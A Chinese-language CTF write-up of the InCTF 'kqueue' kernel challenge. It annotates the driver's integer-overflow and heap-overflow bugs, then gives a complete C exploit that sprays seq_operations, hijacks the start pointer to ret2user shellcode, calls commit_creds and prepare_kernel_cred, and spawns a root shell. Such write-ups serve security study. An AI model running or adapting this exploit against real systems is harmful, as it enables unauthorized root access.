前言
这题给了源码,感觉代码的问题很大。然后题目不算难,但是最后 ret2user 执行的代码很有意思。这里的思路是参考的 Roland_ 大佬的思路:[原创]InCTF 内核Pwn之 Kqueue-Pwn-看雪-安全社区|安全招聘|kanxue.com
最后不去泄漏 kernel_offset,直接利用 ret2user 时,内核栈上残留的内核地址进行提权,这个思路非常妙,可以说是情理之中意料之外,当然可能是我太菜(压上了)。
漏洞分析
保护:就开了个 kalsr 随机化保护。smep/smap/pti 全关了。所以可以直接 ret2user 了
然后内核版本为 v5.8.1,然后这个题目是 2021 年的,所以该内核应该存在 dirty pipe 漏洞,经过测试的确如此:这里并不利用该 nday 直接打
然后题目给了源码,还是比较给力的,这里源码我全注释了,就不一一解释了。
题目主要实现了一个菜单,有增、删、改、复制的功能,其中主要维护了以下结构:
create_kqueue 函数
该函数就是去创建上述结构的,其中用户传入 request_t 结构体指针。这里有意思的是程序中有一些错误检测,当不满足时都会调用 err,但是这里 err 仅仅是输出一个字符串后就返回,而不是 exit。这就导致整个程序的检测几乎都无效。
/*
typedef struct{
uint32_t max_entries;
uint16_t data_size;
uint16_t entry_idx;
uint16_t queue_idx;
char* data;
}request_t;
*/
static noinline long create_kqueue(request_t request){
long result = INVALID;
// 这里的 err 单纯打印一个字符串....
if(queueCount > MAX_QUEUES)
err("[-] Max queue count reached");
/* You can't ask for 0 queues , how meaningless */
if(request.max_entries<1)
err("[-] kqueue entries should be greater than 0");
/* Asking for too much is also not good */
// #define MAX_DATA_SIZE 0x20
if(request.data_size>MAX_DATA_SIZE)
err("[-] kqueue data size exceed");
/* Initialize kqueue_entry structure */
queue_entry *kqueue_entry;
/* Check if multiplication of 2 64 bit integers results in overflow */
ull space = 0;
// space = sizeof(queue_entry) * (request.max_entries+1)
// __builtin_umulll_overflow 检测了乘法结果是否发生溢出
// 但是 request.max_entries+1 可能存在溢出
if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true)
err("[-] Integer overflow");
/* Size is the size of queue structure + size of entry * request entries */
ull queue_size = 0;
// queue_size = sizeof(queue) + space
if(__builtin_saddll_overflow(sizeof(queue),space,&queue_size) == true)
err("[-] Integer overflow");
/* Total size should not exceed a certain limit */
if(queue_size>sizeof(queue) + 0x10000)
err("[-] Max kqueue alloc limit reached");
/* All checks done , now call kzalloc */
// validate 就是对 err 的一个封装,所以这题相当于没检测
queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));
/* Main queue can also store data */
queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));
/* Fill the remaining queue structure */
queue->data_size = request.data_size;
queue->max_entries = request.max_entries;
queue->queue_size = queue_size;
/* Get to the place from where memory has to be handled */
// 这里的 queue 是局部变量 queue* 指针而不是 queue 结构体
// 所以 sizeof(queue) = sizeof(queue*) = 8
// 所以这里其实就是 (queue_entry *)(queue + 1)
// 不知道为啥要写这么蹩脚的代码......是我太菜了
kqueue_entry = (queue_entry *)((uint64_t)(queue + (sizeof(queue)+1)/8));
/* Allocate all kqueue entries */
queue_entry* current_entry = kqueue_entry;
queue_entry* prev_entry = current_entry;
uint32_t i=1;
// 看到这里,我知道了 request.max_entries+1 溢出这个漏洞是故意给的了
for(i=1;i<request.max_entries+1;i++){
if(i!=request.max_entries)
prev_entry->next = NULL;
current_entry->idx = i;
current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));
/* Increment current_entry by size of queue_entry */
current_entry += sizeof(queue_entry)/16;
/* Populate next pointer of the previous entry */
prev_entry->next = current_entry;
prev_entry = prev_entry->next;
}
/* Find an appropriate slot in kqueues */
uint32_t j = 0;
for(j=0;j<MAX_QUEUES;j++){
if(kqueues[j] == NULL)
break;
}
if(j>MAX_QUEUES) // j == MAX_QUEUES 就不检测了???
err("[-] No kqueue slot left");
/* Assign the newly created kqueue to the kqueues */
kqueues[j] = queue; // ? 这不数组越界???
queueCount++;
result = 0;
return result;
}
漏洞点:request.max_entries+1 可能发生溢出,比如 request.max_entries = 0xffffffff,这是仅仅寄宿创建了一个 queue 头,但是 queue 中存的是 request.max_entries。
delete_kqueue 函数
static noinline long delete_kqueue(request_t request){
/* Check for out of bounds requests */
if(request.queue_idx>MAX_QUEUES)
err("[-] Invalid idx");
/* Check for existence of the request kqueue */
queue *queue = kqueues[request.queue_idx];
if(!queue)
err("[-] Requested kqueue does not exist");
kfree(queue);
memset(queue,0,queue->queue_size); // ?? 释放之后把内容清空了 ?? 这啥操作
kqueues[request.queue_idx] = NULL; // data 也没释放???
return 0;
}
edit_kqueue 函数
static noinline long edit_kqueue(request_t request){
/* Check the idx of the kqueue */
if(request.queue_idx > MAX_QUEUES)
err("[-] Invalid kqueue idx");
/* Check if the kqueue exists at that idx */
queue *queue = kqueues[request.queue_idx];
if(!queue)
err("[-] kqueue does not exist");
/* Check the idx of the kqueue entry */
if(request.entry_idx > queue->max_entries)
err("[-] Invalid kqueue entry_idx");
/* Get to the kqueue entry memory */
queue_entry *kqueue_entry = (queue_entry *)(queue + (sizeof(queue)+1)/8);
/* Check for the existence of the kqueue entry */
exists = false;
uint32_t i=1;
for(i=1;i<queue->max_entries+1;i++){
/* If kqueue entry found , do the necessary */
if(kqueue_entry && request.data && queue->data_size){
if(kqueue_entry->idx == request.entry_idx){
validate(memcpy(kqueue_entry->data,request.data,queue->data_size));
exists = true;
}
}
kqueue_entry = kqueue_entry->next;
}
/* What if the idx is 0, it means we have to update the main kqueue's data */
if(request.entry_idx==0 && kqueue_entry && request.data && queue->data_size){
validate(memcpy(queue->data,request.data,queue->data_size));
return 0;
}
if(!exists)
return NOT_EXISTS;
return 0;
}
save_kqueue 函数
该函数会根据 queue->queue_size 创建一个新的 obj,然后以 request.max_entries 来将其 data 的内容复制到新的 obj 中。并且这里复制的大小由用户控制,虽然做了检测,但是上面说了,err 没啥用,所以这里存在堆溢出。
/* Now you have the option to safely preserve your precious kqueues */
static noinline long save_kqueue_entries(request_t request){
/* Check for out of bounds queue_idx requests */
if(request.queue_idx > MAX_QUEUES)
err("[-] Invalid kqueue idx");
/* Check if queue is already saved or not */
if(isSaved[request.queue_idx]==true)
err("[-] Queue already saved");
queue *queue = validate(kqueues[request.queue_idx]);
/* Check if number of requested entries exceed the existing entries */
if(request.max_entries < 1 || request.max_entries > queue->max_entries)
err("[-] Invalid entry count");
/* Allocate memory for the kqueue to be saved */
char *new_queue = validate((char *)kzalloc(queue->queue_size,GFP_KERNEL));
/* Each saved entry can have its own size */
// 这里对 request.data_size 的检测存在问题
if(request.data_size > queue->queue_size)
err("[-] Entry size limit exceed");
/* Copy main's queue's data */
//这里对 request.data_size 的检测是 "request.data_size > queue->queue_size"
// 这里很明显的错误,应该是 "request.data_size > queue->data_size"
// 所以这里也会导致堆溢出
if(queue->data && request.data_size)
validate(memcpy(new_queue,queue->data,request.data_size));
else
err("[-] Internal error");
new_queue += queue->data_size;
/* Get to the entries of the kqueue */
queue_entry *kqueue_entry = (queue_entry *)(queue + (sizeof(queue)+1)/8);
/* copy all possible kqueue entries */
uint32_t i=0;
// 1)
// 这里就变成 request.max_entries+1 而不是 queue->max_entries+1 了
// 所以这里结合上面的整数溢出就导致了堆溢出
// 比如最开始传入 max_entries 为 0xffffffff,那么 queue->max_entries+1=0
// 这时就分配了一个 queue 头,在 edit 和 add 后面都是不存在问题的,因为其使用的也是 queue->max_entries+1
// 但是在 save 中,却使用了 request.max_entries+1,这里 request.max_entries+1 可不为0了
// 所以这里会导致堆溢出
// 2)
// 并且这里对 request.data_size 的检测是 "request.data_size > queue->queue_size"
// 这里很明显的错误,应该是 "request.data_size > queue->data_size"
// 所以这里也会导致堆溢出
for(i=1;i<request.max_entries+1;i++){
if(!kqueue_entry || !kqueue_entry->data)
break;
if(kqueue_entry->data && request.data_size)
validate(memcpy(new_queue,kqueue_entry->data,request.data_size));
else
err("[-] Internal error");
kqueue_entry = kqueue_entry->next;
new_queue += queue->data_size;
}
/* Mark the queue as saved */
isSaved[request.queue_idx] = true;
return 0;
}
漏洞利用
经过上面的分析,我们可以利用如下思路:
1)add,其中传入的 max_entries = 0xffffffff,data_size = 0x20*8(这里随你)此时仅仅创建一个 0x20 的 queue 和一个 data_size 大小的 data,但是其保存的 max_entries 是 0xffffffff
2)利用 save 功能,此时会创建一个 queue_size = 0x20 大小的新 obj,然后将 queue->data 的数据复制到这个 obj 上,但是复制的数据长度是用户可控的,并且 err 检测没有实质性的作用。
所以我们可以提前堆喷大量的 seq_operations(即 seq_file 文件的利用,这里 seq_operations 的大小也是 0x20,读者有问题可以参考我之前的文章)形成如下布局:
这是发生溢出的话就会覆盖 seq_operations 中的指针,如果将 seq_operations->start 覆盖为用户空间的一个地址的话,就可以实现 ret2user 了。
但是这里比较关键的就是如何进行提权,题目开了 kaslr,所以该如何泄漏 kernel_offset 呢?这里大佬给了一种方案。
因为是 ret2user,所以在执行用户空间代码时用的还是内核栈,所以可以在利用内核栈上残留的内核地址去计算出 commit_creds/prepare_kernel_cred 的函数地址。经过测试 rsp+8 位置存在一个固定的内核地址:0xffffffff81201179
exp 如下:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#define CREATE 0xDEADC0DE
#define EDIT 0xDAADEEEE
#define DELETE 0xBADDCAFE
#define SAVE 0xB105BABE
typedef struct{
uint32_t max_entries;
uint16_t data_size;
uint16_t entry_idx;
uint16_t queue_idx;
char* data;
}request_t;
int fd;
void add(uint32_t max_entries, uint16_t data_size)
{
request_t req = { .max_entries = max_entries, .data_size = data_size };
ioctl(fd, CREATE, &req);
}
void edit(uint16_t queue_idx, uint16_t entry_idx, char* data)
{
request_t req = { .queue_idx = queue_idx, .entry_idx = entry_idx, .data = data};
ioctl(fd, EDIT, &req);
}
void dele(uint16_t queue_idx)
{
request_t req = { .queue_idx = queue_idx };
ioctl(fd, DELETE, &req);
}
void save(uint16_t queue_idx, uint32_t max_entries, uint16_t data_size)
{
request_t req = { .queue_idx = queue_idx, .max_entries = max_entries, .data_size = data_size };
ioctl(fd, SAVE, &req);
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}
void get_root_shell()
{
puts("[+] Get Root Shell");
printf("[+] UID: %d\n", getuid());
system("/bin/sh");
}
size_t rrip;
size_t kernel_addr;
void shellcode()
{
/*
[rsp+8] = 0x0xffffffff81201179
>>> hex(elf.sym.commit_creds)
'0xffffffff8108c140'
>>> hex(elf.sym.prepare_kernel_cred)
'0xffffffff8108c580'
*/
asm(
"mov r14, [rsp+0x8];"
"mov kernel_addr, r14;"
"sub r14, 0x174bf9;" // prepare_kernel_cred
"mov rdi, 0;"
"call r14;"
"mov rdi, rax;"
"mov r14, kernel_addr;"
"sub r14, 0x175039;" // commit_creds
"call r14;"
"swapgs;"
"mov r14, user_ss;"
"push r14;"
"mov r14, user_sp;"
"push r14;"
"mov r14, user_rflags;"
"push r14;"
"mov r14, user_cs;"
"push r14;"
"mov r14, rrip;"
"push r14;"
"iretq"
);
}
int main(int argc, char** argv, char** env)
{
save_status();
int seq_fd[0x200];
uint64_t buf[0x20];
rrip = get_root_shell;
if ((fd = open("/dev/kqueue", O_RDONLY)) < 0) err_exit("FAILED to open dev file");
for (int i = 0; i < 0x20; i++) buf[i] = shellcode;
add(0xffffffff, 0x20*8);
edit(0, 0, buf);
for (int i = 0; i < 0x200; i++)
if ((seq_fd[i] = open("/proc/self/stat", O_RDONLY)) < 0)
err_exit("FAILED to open seq file");
save(0, 0, 0x80);
for (int i = 0; i < 0x200; i++)
read(seq_fd[i], buf, 1);
puts("[+] NEVER EXP END");
return 0;
}
效果如下: